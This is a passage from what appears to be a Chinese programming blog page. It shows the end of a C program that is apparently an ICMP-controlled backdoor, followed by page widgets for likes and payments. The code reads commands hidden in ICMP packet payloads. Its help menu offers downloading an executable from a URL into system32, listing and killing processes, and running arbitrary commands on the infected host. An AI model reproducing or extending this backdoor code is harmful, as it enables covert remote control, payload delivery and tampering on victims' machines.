		printf(" IcmpCode %d",icmphdr->i_code);
		printf("\n");
		memcpy(arg,buf+iphdrlen+12,1450);
		printf("%s\n",arg);

	}

	else printf("Other ICMP Packets!\n");


}

void help(void) //帮助信息
{
	printf("\n");
	printf("[http://127.0.0.1/hack.exe -admin.exe]   (Download Files. Parth is \\\\system32)\n");
	printf("[pslist]         (List the Process)\n");
	printf("[pskill ID]      (Kill the Process)\n");
	printf("Command          (run the command)\n"); 
	printf("\n");


}

http://tieba.baidu.com/p/1053149629


  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值